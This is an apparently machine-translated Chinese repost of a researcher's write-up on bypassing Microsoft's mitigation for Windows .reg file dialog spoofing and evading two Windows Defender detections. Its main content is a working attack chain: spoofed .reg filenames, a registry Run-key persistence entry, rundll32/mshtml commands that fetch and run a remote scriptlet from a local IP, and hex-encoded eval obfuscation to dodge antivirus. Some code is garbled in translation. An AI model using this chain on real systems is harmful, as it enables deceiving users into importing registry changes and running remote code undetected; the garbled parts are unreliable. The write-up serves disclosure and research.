具有 .reg 文件扩展名的文件是 Windows 注册表使用的注册文件。这些文件可以包含配置单元、键和值。 .reg 文件可以在文本编辑器中从头开始创建,也可以在备份部分注册表时由 Windows 注册表生成。
Windows .Reg 文件对话框欺骗 - 缓解绕过
早在 2019 年,我就披露了一种欺骗 Windows 注册表对话框警告框以显示攻击者控制消息的新颖方法。 这个欺骗缺陷让我们可以欺骗“你确定要继续吗?” 警告消息改为“单击是中止”或 攻击者想要显示的任何其他内容。
这个缺陷可能使用户认为他们正在取消注册表导入,而实际上他们正在导入它,因为我们可以使 注册表安全警告对话框对他们说谎,因为警告消息现在处于攻击者的控制之下。
它的工作方式是使用特制的 .Reg 文件名,这允许控制呈现给最终用户的注册表警告对话框消息。
最近,我注意到 2022 年 .Reg 文件对话框欺骗不再适用于 Windows 10,而是在 Regedit.exe 中触发访问冲突。 因此,操作系统发生了一些变化,可能是一种无声的缓解嗯。不会是第一次,早在 2016 年我的 msinfo32.exe .NFO 文件 XXE 注入漏洞报告有类似的命运,没有 CVE 或公告修复,并且允许远程文件访问数据盗窃。
在 2019 年的一次threatpost.com 采访中,微软表示“提交的问题不符合通过安全更新提供服务的严重性标准” 参考:https://threatpost.com/windows-bug-spoof-dialog-boxes/142711
然而,“修复”很容易被绕过,旧的有效载荷仍然可以跨系统工作。
绕过 .Reg 欺骗修复只是一个开始,我必须想办法绕过两个不同的 Windows Defender 检测以实现 PoC。
木马:Win32/Powessere.G https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FPowessere.G%21lnk&ThreatID=2147752427
后门:JS/Relvelshe.A https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/Relvelshe.A&ThreatID=2147744426
我原来的 2019 年 .Reg 文件欺骗有效负载,现在触发访问冲突,并因读取无效指针而导致 regedit.exe 崩溃。
00007FFE7A4A7C83 | EB 0D | jmp ntdll.7FFE7A4A7C92 |
00007FFE7A4A7C85 | FF C9 | dec ecx | ;This loops thru to read in the path + filename
00007FFE7A4A7C87 | 66 45 39 5D 00 | cmp word ptr ds:[r13],r11w | ;ACCESS VIOLATION HERE
00007FFE7A4A7C8C | 74 08 | je ntdll.7FFE7A4A7C96 | ;Move the string down two bytes
00007FFE7A4A7C8E | 49 83 C5 02 | add r13,2 | r13:L"10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"
00007FFE7A4A7C92 | 85 C9 | test ecx,ecx
00007FFE7A4A7C87 | 66 45 39 5D 00 | cmp word ptr ds:[r13],r11w | ; BOOM ACCESS VIOLATION on Win10, but not Win7
ntdll!woutput_l+0x387:
00007ffe`7a4a7c87 6645395d00 cmp word ptr [r13],r11w ds:000001ed`00000000=????
在线搜索显示WIN-7仍然占22%世界上的计算机,所以我请我的朋友安全研究员 Eduardo Braun Prado (Edu_Braun_0day) 帮助我重新测试 Windows 7 上的 .REG 文件欺骗的完整性。原来我原来的有效载荷仍然可以在 Win-7 上运行,并且在 Win-10 上稍作调整。
原始作品在 Win-7 上运行,但在 Win-10 上崩溃 regedit.exe:
Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b %Y%e%s%b%b%b%1%0.reg
原始有效负载(第一个缓解绕过)适用于 Win-7/Win-10:
Remove second to last byte (%1) before the %0 string terminator and %b characters Windows_Reg_Spoof_Mitigation_Bypass.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg
新的有效负载缓解绕过适用于 Win-7 和 Win-10:
Windows_Reg_Spoof_Mitigation_Bypass.%n%nClick YES to cancel%0.reg
但是,我们还没有完成,因为我们必须处理 Windows Defender 检测预防措施。
1) 木马:Win32/Powessere.G
2) 后门:JS/Relvelshe.A 绕过"Trojan:Win32/Powessere.G"
击败 Windows Defender 中的 Trojan:Win32/Powessere.G 检测需要两个组件。
A) 引用 mshtml ..\\..\\..\\ 时的额外路径遍历
B) 构建远程服务器 URL 方案时的连接 "script"+":"+"http.
FAIL on current updated Windows 10
C:\>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert (1)
访问被拒绝
在当前更新的 Windows 10 上成功
使用额外的 ..\ 会导致绕过,但只是一个警告框没有任何用处
C:\>rundll32.exe javascript:"\..\..\ ..\mshtml,RunHTMLApplication ";alert(1)
尝试使用下面的有效负载下载并执行远程代码再次失败,因为我们需要连接第二个组件 URL 方案 。
C:\>rundll32.exe javascript:"\..\ ..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.1.45/hi.tmp") 访问被拒绝。
URL 方案的 Jscript 连接。
document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")
成功绕过“Trojan:Win32/Powessere.G”检测!
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://192.168.1.45/ hi.tmp")
我们面临的最后一个障碍是,Windows Defender 将以下名为“backdoor”的下载文件检测为 Backdoor:JS/Relvelshe.A,并将其从 INetCache 中删除。
“C:\Users\victim\AppData\Local\Microsoft\Windows\INetCache\IE\2MH5KJXI\backdoor[1]”
文件“后门”内容。
<?xml version="1.0"?> <package> < new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </component> </package>
绕过“Backdoor:JS/Relvelshe.A”检测。
我们的方式这是对我们的 PoC 代码进行 Hex 编码 new ActiveXObject("WScript.Shell").Run("calc.exe") 然后调用 String.fromCharCode(parseInt(hex.substr(n, 2), 16)) 对其进行解码即时将值传递给 Jscripts 内置 eval 函数。
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += 字符串。fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
Done!,成功绕过了 .Reg 欺骗缓解和两个 Windows Defender 检测。
【参考】
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.REG-FILE-DIALOG-BOX-MESSAGE-SPOOFING.txt
注意:大约 2019 年的咨询利用滥用了“图像文件执行选项” " 将有效负载存储为 MSIE 的调试器设置。 不幸的是,这不再有效,所以我们现在将把有效负载存储在磁盘上的 .cmd 文件和注册表运行键中。
1) 创建一个名为 Sales_Report_2022 的 .Reg Dialog Spoofing 文件。%n%n单击“是”取消具有以下内容的%0.reg 或使用原始有效负载稍作改动。
Sales_Report_2022.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg
我更喜欢原来的,因为 % 字符有助于掩盖文件名中明显的措辞。
Windows 注册表编辑器版本 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "HATE"="C:\\dump\\s.cmd"
2) 创建一个 Windows .cmd 文件“s.cmd”,其中包含以下内容。不幸的是,它需要使用上面 .Reg 文件中引用的路径存储在磁盘上, 根据需要更新服务器 IP。
rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp" )
3) 创建远程代码Jscript 组件“hi.tmp”,宿主在服务器端口80,它使用WScript.Shell 弹出calc.exe。
<?xml version="1.0"?>
<component>
<script>
<![CDATA[
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)
]]>
</script>
</component>
本文系外文翻译,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系外文翻译,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。